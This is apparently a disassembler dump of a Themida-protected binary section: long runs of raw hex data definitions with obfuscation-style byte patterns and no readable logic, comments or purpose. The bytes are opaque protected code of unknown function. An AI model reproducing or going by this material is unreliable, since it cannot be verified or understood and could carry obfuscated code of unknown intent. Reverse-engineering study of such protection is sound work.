0B045BAF6h, 0EABE5054h, 3E256DB5h, 0B1231376h, 70237A4Eh dd 0FB7A59A6h, 386FF0FFh, 2A67F8A2h, 7236DA2h, 407238A6h dd 28A21FA8h, 65AA40B5h, 76377C1Bh, 0BDE523F7h, 1A3763FFh dd 5F2313E1h, 7237A4Eh, 407A59A6h, 0E56FF0FFh, 0C467F8A2h dd 702362A2h, 0FB7238A6h, 65CCA08Dh, 4FAB78D8h, 280AFCA7h dd 5E4B7FB2h, 917BE4FEh, 3FA819F4h, 7023704Eh, 0B7D337A6h dd 0DA343CEBh, 6F785035h, 16CA48A9h, 9E2379A6h, 10261E67h dd 4A02DDD0h, 0FC95592Eh, 17F98A08h, 18A221FCh, 3094E482h dd 0C2D5F98Fh, 99F2CC59h, 0C1497FB2h, 0E02091F0h, 2E0379A6h dd 4CAA2765h, 58A27D82h, 0E377D82h, 516579A6h, 0AD9D9765h dd 0A7161E47h, 38779827h, 0F0F8FC2Bh, 0A52A7FB1h, 1A37725Bh dd 8E75A959h, 8E79FC44h, 97255C23h, 912313A0h, 0E0237A4Eh dd 0B37B59A6h, 1C67F0FEh, 3867F8A2h, 0E2360A2h, 0C47339A6h dd 9606A6F9h, 404533ABh, 916BB74h, 702379A8h, 90028B02h dd 4FE8A48Ah, 0C98A1D41h, 82E556B0h, 853763FFh, 942313E1h dd 0E0237A4Eh, 0B37E59A6h, 1C4FF0FBh, 3867F8A2h, 0E236FA2h dd 0C4763CA6h, 0AA6D96BEh, 0D501681Bh, 809211A0h, 74A23E99h dd 0B5F8D582h, 0A9DC80C5h, 8376377h, 0EF7479CCh, 832379A5h dd 9EE02686h, 0E407052Fh, 74073D27h, 382379BCh, 28E02EE1h dd 7867DB86h, 8AAA0137h, 85375697h, 0CC36E4A7h, 65AE7FB2h dd 7634F97Dh, 0ECDF8C0h, 0F4F386D4h, 0E2379A3h, 4ECB75C4h dd 59A21F60h, 4A7AF9CFh, 0F42AAC13h, 3DA6F0A0h, 52256DADh dd 1FCB2CA6h, 2E2379A6h, 8E7EBAFBh, 2275DCAh, 0D4275DE2h dd 0A52379A6h, 5AE0BAF3h, 369DA959h, 3F34B59Dh, 1A234C2Bh dd 2EA6F0A0h, 0E9256DADh, 0C2CB2AA6h, 0C02379A6h, 0F978BAFDh dd 0B9275DFAh, 9275DE2h, 4D2379A6h, 0EC2CBAF5h, 8FBF5C0h dd 0D513CC13h, 86275DA0h, 0AF80BB27h, 0BC2CB9ACh, 1C237A17h dd 147AFC60h, 6D6C7FB2h, 80CB2CA6h, 0E12379A6h, 697EBAFBh dd 0F1275DCAh, 2C275DE2h, 592379A6h, 870DBAF3h, 130C481Bh dd 4AA6F0A0h, 0A9256D88h, 36E25518h, 3D3CC3F1h, 0B97A5D0Bh dd 5C595D92h, 8B0A10E7h, 13769DBh, 99F2CC59h, 0C1497FB2h dd 0E02091F1h, 2F0379A6h, 44AA2665h, 58A27D82h, 0E397D82h dd 506479A6h, 0FE05465h, 8552A023h, 0E025FCA9h, 0FC2C79A6h dd 382379A6h, 0A9AE70F7h dd 54256D88h, 87F8FC2Bh, 83497FB1h, 0C12091F7h, 0B90379A6h dd 3CAA2065h, 7CA27D82h, 1C397D82h, 5F6279A6h, 0BED17565h dd 75250F15h, 0CBCAB32Dh, 6C2379A6h, 26432E41h, 0AB0B198Fh dd 0FD9E48EDh, 0F1256DAFh, 50231376h, 83237A4Eh, 27C59A6h dd 0C45FF0F9h, 5467F8A2h, 38236DA2h, 0DF743EA6h, 67B6F0E6h dd 84256D82h, 1EAA5D66h, 0C7377AEFh, 0E98EFC2Fh, 70497FB2h dd 382091F1h, 430379A6h, 72AA2665h, 43A27D82h, 83367D82h dd 966479A6h, 6B68B265h, 64386433h, 11A6F2A0h, 76256DADh dd 0DCB2CA6h, 272379A6h, 0A7EBAFBh, 40275DCAh, 0F8275DE2h dd 352379A6h, 0DAB1BAF3h, 370D9B13h, 1A16641Bh, 4ABEF2A0h dd 0E9256DADh, 0C2CB29A6h, 0C02379A6h, 0F97BBAFEh, 0B9275DE2h dd 4275DE2h, 4E2379A6h, 8F96BAF6h, 0AA685793h, 0D530E01Bh dd 12A23AA0h, 7D1D050h, 85A8622Dh, 1A37499Fh, 9BAA622Dh dd 1377BBFh, 8349622Dh, 0C12091F5h, 0BB0379A6h, 2CAA2265h dd 7CA27D82h, 1C3A7D82h, 5D6079A6h, 1CE42D65h, 0B033B4FFh dd 9223137Eh, 0E0237A4Eh, 0B37859A6h, 1C7FF0FDh, 3867F8A2h dd 0E2365A2h, 0C4703AA6h, 0A2801Fh, 3BD4B68Dh, 61BEF049h dd 1A256DBDh, 3BCB2BA6h, 3C2379A6h, 8779BAFCh, 86275DF2h dd 9B275DE2h, 832379A6h, 434FBAF4h, 0F9DEFF97h, 2C25683Bh dd 559E5AA0h, 0C8256DB7h, 13392023h, 83493EA0h, 0C12091F7h dd 0B90379A6h, 3CAA2065h, 7CA27D82h, 1C357D82h, 5F6279A6h dd 75D59065h, 85B1571Ch, 0C12791DEh, 3D8A79A6h, 0FB45CE78h dd 0B12C295Ch, 1C2379B7h, 0E2990F1h, 537579A6h, 17392D06h dd 24B164C9h, 0C467F2FCh, 71991FA2h, 6823F201h, 1C2491F4h dd 0D77979A6h, 63A82EFEh, 8C7129ABh, 9F7B2397h, 0B87948A9h dd 74073D2Fh, 3826FCA9h, 959A79A6h, 56488298h, 0EF7579CCh dd 832379A5h, 9FE02786h, 0E4070D2Fh, 74073D27h, 382379BFh dd 4DE02FE0h, 62E66708h, 7339196h, 836879A6h, 0AA72DB01h dd 1F554374h, 9FC57F40h, 0F3A8682Ah, 0CD9686FFh, 85256DBCh dd 13272413h, 58A6F4A0h, 0AB256E26h, 0E3CB2FA6h, 502379A6h dd 0B17DBAF8h, 9D275DD2h, 1A275DE2h, 412379A6h, 7C83BAF0h dd 0C1339076h, 0E07F79A6h, 71AC0DE8h, 0B0AAD289h, 2C6CD5FFh dd 8BAA786Bh, 1377C1Bh, 2E9E50F1h, 98256DBDh, 6B51CCE6h dd 640F4C13h, 0B123F2A0h, 8326413h, 6423F2A0h, 4CB2EA6h dd 0A32379A6h, 487CBAF9h, 61275DDAh, 67275DE2h, 7F2379A6h dd 411CBAF1h, 93AAC6BDh, 1375FA7h, 8CE2FC2Fh, 0C1497FB2h dd 0E02091F5h, 2B0379A6h, 64AA2265h, 58A27D82h, 0E377D82h dd 546079A6h, 3EAA0365h, 0C7375323h, 0E023694Fh, 912100A6h dd 3E058B35h, 3E1A2B80h, 0C361E5F2h, 6AB902Dh, 834979A6h dd 0C12091F0h, 0BE0379A6h, 4AA2765h, 7CA27D82h, 1C347D82h dd 586579A6h, 0D79C8165h, 8E8F37Dh, 0D535E813h, 52A6F4A0h dd 1A256E0Ch, 3BCB28A6h, 3C2379A6h, 877ABAFFh, 86275DEAh dd 9F275DE2h, 802379A6h, 347CBAF7h, 5272C2D3h, 0A80F1D1Ah dd 7A73FF10h, 9E491719h, 0EF7479CCh, 832379A5h, 9EE02686h dd 0E407052Fh, 74073D27h, 382379BDh, 0FE02EE1h, 0A6FC5544h dd 0F868C7ECh, 970CEC33h, 912313A0h, 0E0237A4Eh, 0B37B59A6h dd 1C67F0FEh, 3867F8A2h, 0E2363A2h, 0C47339A6h, 0DB9BEE36h dd 40142CCAh, 0BE444750h, 0FE75C69Dh, 0A5AE1D02h, 1A34D31Eh dd 0E67579CCh, 72379A5h, 0DDE02786h, 0C5070D2Fh, 0E4073D27h dd 702379BEh, 9EE02FE0h, 6500BB72h, 0E02C42Fh, 61B07FB2h dd 0D318C318h, 0C12F91F1h, 312479A6h, 0FB04526h, 5342BCAh dd 14CABE10h, 0FE2379A6h, 2D8F07ACh, 0DAA64BA0h, 0C149EAF8h dd 0E02091F4h, 2A0379A6h, 6CAA2365h, 58A27D82h, 0E3A7D82h dd 556179A6h, 0CA559565h, 0CE17D9D2h, 0E0237B2Ah, 20E9F2A6h dd 37077D2Fh, 89DCAE19h, 83764E3h, 0EF7079CCh, 832379A5h dd 9AE02286h, 0E407252Fh, 74073D27h, 382379BCh, 91E02AE5h dd 0A3255680h, 82AA8F5Dh, 8537700Bh, 297079CCh, 0E02379A5h dd 2BE02286h, 3C07252Fh, 18073D27h, 0E2379B0h, 0EEE02AE5h dd 16A804E6h, 0C737688Bh, 65E58E2Ch, 763763FFh, 6D2313F5h dd 1C237A4Eh, 0CD7E59A6h, 234FF0FBh, 0A767F8A2h, 0C12365A2h dd 23763CA6h, 5E521A75h, 0B4447BE9h, 0D99678AFh, 0E6256D83h dd 72379A2h, 29A4FDD9h, 0C1236B4Eh db 0A6h byte_584369 db 36h, 0F8h, 7Fh ; DATA XREF: Themida_:0054B77Co dd 6225730Eh, 0F8D3C057h, 0AD0DC26Ah, 6ED82532h, 97984318h dd 0D37C18E7h, 0C3A676C6h, 0B12379A6h, 76A276FDh, 372379A6h dd 1C237920h, 4AA818A6h, 55737D82h, 0D313CFC6h, 9B1276F4h dd 0D12C18FEh, 70A821FCh, 3C073D2Fh, 1C20F6A9h, 854579A6h dd 0E5A22170h, 898E063Eh, 0DBF2CC59h, 0E0497FB2h, 702091F1h dd 670379A6h, 60AA2665h, 4AA27D82h, 7367D82h, 0D46479A6h dd 4C5B8965h, 0F7A3A223h, 252313A0h, 38237A4Eh, 0DF7E59A6h dd 2A4FF0FBh, 2367F8A2h, 832360A2h, 2763CA6h, 6A6DC771h dd 0C72C4BBDh, 58F3866Fh, 35EEEC2Fh, 1707FB2h, 7237925h dd 0A4227A6h, 0D52A4023h, 0B52313A0h, 70237A4Eh, 0FB7E59A6h dd 384FF0FBh, 2A67F8A2h, 72362A2h, 40763CA6h, 7865734Eh dd 94F6B909h, 5D7ACC2Dh, 0B50A7FB2h, 1A375033h, 147AFC60h dd 8E647FB2h, 9736D833h, 7EF811A0h, 622C0E71h, 702379B5h dd 3823714Eh, 0EFC944A6h, 13FA6070h, 0F9FBC6CAh, 27C70B8h dd 94965DA2h, 0E049503Ch, 702091F5h, 630379A6h, 40AA2265h dd 4AA27D82h, 73E7D82h, 0D06079A6h, 3AD4FF65h, 6D59EB56h dd 0CA784ABCh, 574BBB50h, 1142E42Fh, 0BBDC7FB2h, 1376377h dd 0AAC6FC97h, 44AE7FB2h, 0E634F97Dh, 5BBEC42Fh, 0E8DC7FB2h dd 0F47579CCh, 0E2379A5h, 59E02786h, 87070D2Fh, 0C5073D27h dd 0E02379BEh, 83E02FE0h, 754CFD1Eh, 1466EC2Dh, 1ACA7FB2h dd 982379A6h, 75646EAAh, 15947176h, 67EA81CBh, 8CB90637h dd 0B1DDD321h, 8284823h, 5B2313A0h, 7237A4Eh, 407E59A6h dd 0E54FF0FBh, 0C467F8A2h, 702365A2h, 0FB763CA6h, 7A77E5A0h dd 0B256CE09h, 0F6A81FC7h, 860ECC2Dh, 44E57FB2h, 0E63763FFh dd 272313F5h, 38237A4Eh, 0DF7C59A6h, 2A5FF0F9h, 2367F8A2h dd 832364A2h, 2743EA6h, 53353AC8h, 0A06A33C3h, 984B0343h dd 97EE34B7h, 2A17F851h, 53573796h, 8552EC2Dh, 74DC7FB2h dd 0E6376377h, 0F0F8FC2Bh, 2ACA7FB1h, 6F2379A6h, 0ABE0AD8Bh dd 0BC221AC5h, 96A659ABh, 2386594Bh, 80F386D8h, 11DAF2C6h dd 20F6CC2Fh, 95427FB2h, 1A001823h, 1AA76A0h, 0AA2379A6h dd 0D528E41Bh, 0B9A6BFA0h, 27256DBCh, 0AC86C7C0h, 0ED553DCEh dd 0D9A81FF7h, 0C5077D27h, 81D6B7Dh, 10968651h, 8A256DBCh dd 73CB2AA6h, 182379A6h, 9578BAFDh, 8F275DFAh, 1A275DE2h dd 0C02379A6h, 5A32BAF5h, 142C21C7h, 0D9F1514Fh, 0B8F8FC2Bh dd 10CA7FB1h, 172379A6h, 3A199ADEh, 78E201Dh, 3EEFDCE4h dd 0F99EF276h, 0F9256DAAh, 2C086023h, 0DAD2F2A0h, 1A392023h dd 7493AA0h, 832091F5h, 9A0379A6h, 0BCAA2265h, 34A27D82h dd 38357D82h, 4F6079A6h, 0C6863F65h, 33AACC2Dh, 87CB7FB2h dd 0E92379A6h, 529FE9D6h, 1992974h, 0B3302325h, 0A6275DE2h dd 6D1A6758h, 779C792Dh, 0A76BBCCh, 4A275DE2h, 55A8216Dh dd 76376FD7h, 22F2CC59h, 1C497FB2h, 0E2091F1h, 580379A6h dd 0FFAA2665h, 85A27D82h, 0E03F7D82h, 276479A6h, 63F9CE65h dd 89D4A9EDh, 0B92CB90Eh, 0DCA6F474h, 0E9256E26h, 0C2CB2CA6h dd 0C02379A6h, 0F97EBAFBh, 0B9275DCAh, 0B275DE2h, 4B2379A6h dd 6AA1BAF3h, 52C3D40h, 0C12379A0h, 0EB16C4A5h, 0A0DC7FB2h dd 0D07079CCh, 1C2379A5h, 55E02286h, 307252Fh, 87073D27h dd 0C12379B2h, 0E7E02AE5h, 7022F3A9h, 0B1D679A6h, 8130C23h dd 0A6A6F4A0h, 6D256E0Ch, 80CB2FA6h, 0E12379A6h, 697DBAF8h dd 0F1275DD2h, 23275DE2h, 5A2379A6h, 0D7F5BAF0h, 0D3CF4Ah dd 0DD7479F6h, 0A17129F6h, 36A818C6h, 161276C7h, 6079AF2Dh dd 76077D2Fh, 0DCB2CA6h, 272379A6h, 0A7EBAFBh, 40275DCAh dd 0FB275DE2h, 352379A6h, 0A7A1BAF3h, 0E2F556Fh, 0DDA4149h dd 1320EC33h, 16B686A0h, 0AB256D89h, 0E3CB28A6h, 502379A6h dd 0B17ABAFFh, 9D275DEAh, 16275DE2h, 462379A6h, 5A61BAF7h dd 0A7102E96h, 6BCBE719h, 2623137Eh, 38237A4Eh, 0DF7D59A6h dd 2A57F0F8h, 2367F8A2h, 832363A2h, 2753FA6h, 0BD00BF01h dd 274237B1h, 0BDAE265Fh, 1A34D33Ah, 0E23754Fh, 0B43EEFA6h dd 40F660BCh, 0BA576312h, 602C290Fh, 702379A1h, 0A847C6F6h dd 957A0FBAh, 8CA5DA2h, 222379A6h, 0A8002DE1h, 7845EA09h dd 86734EBAh, 0E3E71618h, 0D07079CCh, 1C2379A5h, 55E02286h dd 307252Fh, 87073D27h, 0C12379BAh, 59E02AE5h, 91B34F7Bh dd 92187EB7h, 1C236A4Fh, 0D601ACA6h, 0AFF32FEFh, 0B2743793h dd 9B93BD14h, 5946B9B9h, 6D66EC59h, 38497FB2h, 1C2091F4h dd 540379A6h, 53AA2365h, 0C7A27D82h, 0C13E7D82h, 0B26179A6h dd 5DD48165h, 0D02F1BD6h, 954EBFEFh, 1A0C501Bh, 42A6F0A0h dd 0B0256D88h, 0D52F2013h, 45A6BEA0h, 7F256DBCh, 522379A6h dd 1FCB2EA6h, 2E2379A6h, 8E7CBAF9h, 2275DDAh, 0DC275DE2h dd 0A72379A6h, 996BAF1h, 8CC172C2h, 0D367389Dh, 0C8A21FC6h dd 66D6264Eh, 83FAC4AFh, 54DC7FB2h, 0E63757E3h, 7025FEA9h dd 0B5AA79A6h, 1A375DB3h, 2C22C495h, 82AA7FB2h, 85377FAFh dd 4AD8C6A9h, 0F4337823h, 22BEF4A0h, 0B1256E1Bh, 0A1AE78E5h dd 8377437h, 0BA0FCC2Bh, 0B09A7FB1h, 322379A6h, 58109202h dd 702379A6h, 3B57B9ADh, 97236164h, 5D2F5DE2h, 723794Eh dd 40A222A6h, 0C12379B1h, 0F007252Fh, 64073D2Fh, 9814C1FDh dd 0FCDC7907h, 0A073D2Dh, 7499959h, 832091F5h, 9A0379A6h dd 0BCAA2265h, 34A27D82h, 38387D82h, 4F6079A6h, 0D478865h dd 0DC36BC9h, 296F068h, 0A7256D88h, 93ACAE27h, 664EECA5h dd 8F2C7FB2h, 0A645186Ch, 0B3AED2CDh, 134D33Ah, 3E94F42Bh dd 0F49B7FB1h, 0D3BB5F0Dh, 642BB023h, 0C6EC52A0h, 4E962313h dd 0A6E0237Ah, 0F9B37C59h, 0A21C5FF0h, 0A23867F8h, 0A60E2364h dd 0E983743Eh, 8BA4F305h, 0FEF781D9h, 0E92E954Ch, 59h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 6EC35343h dd 726ABB18h, 0A6C51888h, 6A61FCh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0CFB739C3h, 0A1A4F6C3h dd 605BD874h, 12DF8166h, 0F094BF15h, 0C3613730h, 0F5C08BF9h dd 30B1BD83h, 75000614h, 0E1BD8309h, 6141Ah, 53501974h dd 0B9B8C08Bh, 89000004h, 1430C185h, 0A19D8D06h, 0FF0616B7h dd 83585BD3h, 141AE1BDh, 17740006h, 0B9B85350h, 89000004h dd 1430C185h, 429D8D06h, 0FF0616B4h, 0F5585BD3h, 5810Fh dd 0F9600000h, 8B615956h, 8B40F9C0h, 55006AC1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0E544A7F2h dd 0EBF0E5A6h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0D9B34A27h, 8D89DAE7h dd 6140379h, 99858DF5h, 0B06140Fh, 140BADB5h, 0DE95006h dd 0E2000000h, 261E71B3h, 0A90CF97Ah, 0E50A315Fh, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0F85BC350h, 36A7C4B7h, 606440BAh, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 82F968C3h, 0F006A2Fh, 2B8Ah, 12E800h, 0A5A0000h, 66570D50h dd 0FD1ACF38h, 0EB33186h, 391589CEh, 0EE9h, 6E0CE800h dd 4BF0CAD4h, 368ECD97h, 5FFFCFC3h, 0C0E0858Dh, 6A0617h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0B54274C3h, 66BF2C42h, 0C083F78Bh, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 6690C14Eh, 9050F28Bh, 1B1DBD8Bh, 6A0614h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E0C35545h, 4E8720FFh dd 7683B611h, 1D9D8956h, 66061432h, 6AF08Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 32C35646h, 0BE2B047Eh dd 0E165B8BAh, 0F080604Ch, 69958BEDh, 61061426h, 1A7195FFh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 6087C6C3h, 14E8F78Bh, 4C000000h, 0E5FDB3AEh dd 0E42CE1C5h, 0E50FAF8Eh, 0E88B2BDFh, 0F92244DEh, 9509615Fh dd 6140A29h, 0A8FC9D8Dh, 8D090617h, 6140E89h, 0BD01D3FFh dd 6143159h, 236D85FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0FD85F8C3h, 0AB2B3F97h dd 0F9BF0F65h, 0BE2F1ABEh, 11E91Dh, 40CB0000h, 91721D8Fh dd 23E1B23Ch, 50801526h, 0E982D2E3h, 797h, 0E8h, 0ED815D00h dd 617C0EAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 32C35141h, 0DE8166F0h, 0BD81613Eh, 6141AA5h, 7D0h dd 147860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0AE9575C3h, 4D20C59Ah, 0BF6643C0h dd 0BF0F1CE4h, 319D8BF3h, 66061402h, 816E91BEh, 100E3h dd 0FE900h, 0D9C20000h, 1E2319B0h, 0F141BEA0h, 0C89D328Eh dd 0FDB0B84h, 9485h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BD8313BCh, 617BEBEh dd 14840F00h, 8B000000h, 14313DBDh, 9CE906h, 8E0F0000h dd 3, 0C7F6B70Fh, 17BEBE85h, 106h, 5958900h, 0E9061401h dd 7Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh dd 7DC35141h, 3CDCA8Bh, 0E968BBA6h, 13h, 0D9E99747h, 70BA460Dh dd 3721DBA9h, 7CC040F6h, 8B29703Ah, 1400E5BDh, 0BE85C706h dd 617BEh, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0E4ABC350h, 605DEA1Fh, 0E5F38166h dd 4DB58B15h, 61061422h, 1C58D29h, 9D8D0614h, 6140231h dd 69B58BF5h, 81061402h, 0FFFEFF23h, 0ADBD8BFFh, 8906141Bh dd 140019B5h, 0DB8C6606h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0F5C35646h, 56D71F07h, 0DE8166E6h, 0C3F69DDBh dd 4A840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0EFF3C357h, 95FF7773h dd 6142E45h, 14B1BD33h, 0E9900614h, 5, 98CEEF98h, 0F90504Dh dd 0C8Bh, 6810F00h, 89000000h, 140CD985h, 42AE906h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0EE5B8FC3h, 91FCEC5Fh, 11E85D86h, 0A3000000h, 4A1739A1h dd 3F132A83h, 0CCE5EAF7h, 455BFC2Eh, 0FE8h, 8678C600h dd 0A2C92D46h, 0F3ACBDD3h, 0E57ABAF0h, 8B665F5Fh, 6A00B0F9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 740C350h, 70E62660h, 1A15BD8Bh, 71E40614h dd 816650F5h, 5FBEBEDFh, 8BD8B60Fh, 6BAF2h, 0B7BE0000h dd 8B6D672Ah, 0C1F18BC3h, 0F08B04E8h, 0E9E2F766h, 0Dh dd 0DDDED395h, 8D726135h, 0A11B6FA2h, 89D82BC1h, 1422099Dh dd 12E95006h, 1000000h, 0FCD4C8CDh, 65255B9h, 266FF7AAh dd 168C9E39h, 241C8956h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 41C35040h, 4605CAD3h, 9D891262h, 6141635h dd 0AED8D89h, 0B5FF0614h, 6141AA5h, 4DDB533h, 11E90614h dd 62000000h, 1AE1EB60h, 7E08D19Fh, 0B8F40002h, 3DBA858Fh dd 116995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 2177A3C3h, 0D0856DBBh, 0BD8BD1E1h dd 6141D3Dh, 2ADD9589h, 0B00614h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0D4C35343h, 0A23E5EBh, 0EF3E478Fh dd 0A2F8BFD4h, 70E63EADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0E0C35343h, 613C71E4h, 27A830Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 24EE5EC3h, 0B60F842Eh, 0ADB503D8h, 0BA06142Eh, 6, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EC35242h, 74EDE114h dd 0F4556E4h, 6060F0BFh, 6E9h, 9B0BAB00h, 890D4583h, 1405358Dh dd 8D2B6106h, 6140F71h, 6AC38B61h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCB6C356h dd 0F0FDF483h, 0E8C1F844h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 665D6709h dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 2B1AE1C3h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 29CA87DCh, 1403A985h dd 68A0F06h, 29000000h, 1419D18Dh, 0CE95806h, 0F8000000h dd 0E3B63133h, 9EEA1618h, 2BAAA83Fh, 59880FD8h, 66000001h dd 6BC7EE81h, 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 9B6B68C7h, 0A70DA023h dd 31B1B58Bh, 0EE80614h, 0AF000000h, 0E59C6D30h, 2EDC874Eh dd 0E8BC068Ch, 6860FD9h, 0F000000h, 87h, 0C1835E00h, 0FD93B00h dd 0FB86h, 0D98C6600h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 19C35646h, 0E904246Ch, 0F1B58BD8h, 0F6061400h dd 840F04C1h, 0A3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 8FC35343h, 98C3D907h, 85896052h, 6140D55h dd 820Fh, 5E610000h, 2E4595FFh, 6A0614h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8C36E1C3h dd 8B70BC2Eh, 141AC5B5h, 33515B06h, 1416F5B5h, 0C32B5F06h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A3C35343h dd 52948D24h, 3D5FF78Bh, 834h, 0D860Fh, 0BD890000h, 61412DDh dd 27E9h, 8BF98B00h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 85898500h, 6143499h, 0D88BC38Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E9C35545h dd 0F6010F0h, 68Ch, 69BD0B00h, 0E906140Eh, 7, 1BEBE2A0h dd 61050B7Dh, 1AF985C7h, 0E5F10614h, 6A3DD4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 57E5D7C3h dd 0DB19B88Eh, 0C098589h, 0C08B0614h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 18h, 37C35242h, 0AC783C37h dd 82DBD89h, 0BD810614h, 6141AA5h, 7D0h, 2D850Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 6A2A88C3h, 0B13023EBh, 1AA585FFh, 81660614h, 0FF76DDEEh dd 141AA5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0B0B931ECh, 0F8B70FB9h, 0EE9h, 37DA6B00h dd 6489EF69h, 0B516ED5Bh, 0FF7E4D3Eh, 14116995h, 0B890F906h dd 12345678h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 45C35242h, 286D446Fh, 3543A3F6h, 2C9D8DF7h, 0E90617C8h dd 0FFFFF884h, 12EE8166h, 10820FF9h, 0E9000000h, 0Bh, 36C0BAB6h dd 539F8C5Dh, 8B937E7Bh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 7BB38C31h, 81665E9Eh dd 0EB4F50CFh, 4, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 8DB58B47h, 8B06141Bh dd 0CD8589F7h, 8D061413h, 140F9985h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 89F7B12h, 6C99314Ch dd 6830FA4h, 89000000h, 14253185h, 52505006h, 0FFA8B66h dd 5C22BF31h, 585A609Ch, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5E17C355h dd 0E229582Bh, 1CB5B533h, 6A0614h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0FAC35747h, 29D68356h, 67BFBE0h dd 11E9h, 5B43C900h, 32DF36B2h, 0C6240644h, 0F5CF9952h dd 85892E95h, 6142AF1h, 9589006Ah, 6141FC5h, 0CAC4858Dh dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0ED25A7C3h, 5C08330h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 3BC35040h, 3131B523h, 8B660614h dd 14E990F9h, 0D7000000h, 3E22CB86h, 7FD12C9Ch, 5FD93DAh dd 0FE51BFFFh, 50E6E17Fh, 0D26BBE66h, 6A96BF90h, 6A768Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7DC35343h dd 0F881ACEBh, 29A8946Dh, 6A006A12h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EADAC353h dd 7195FF4Ah, 0B06141Ah, 140E95B5h, 5880F06h, 0BF000000h dd 4C9CA975h, 0A8FC9D8Dh, 0B58B0617h, 6142505h, 6AD3FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0F1AFD0C3h, 0EFD0F38Ch, 0D1BD8BD6h, 0FF061404h, 14236D85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 61148EBBh, 0DF54A3h, 0C59D29EBh, 0E9061429h dd 0E16h, 0E8h, 0ED815D00h, 617CACEh, 2AA59589h, 0BD810614h dd 6141AA5h, 7D0h, 171860Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C61745C3h dd 899B2993h, 1424D985h, 759D8B06h, 8106141Bh, 100E3h dd 0EDB52900h, 0B061405h, 93850FDBh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 7900C357h, 52BC1F9h, 0A6BD83FCh, 617C8h, 43840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h 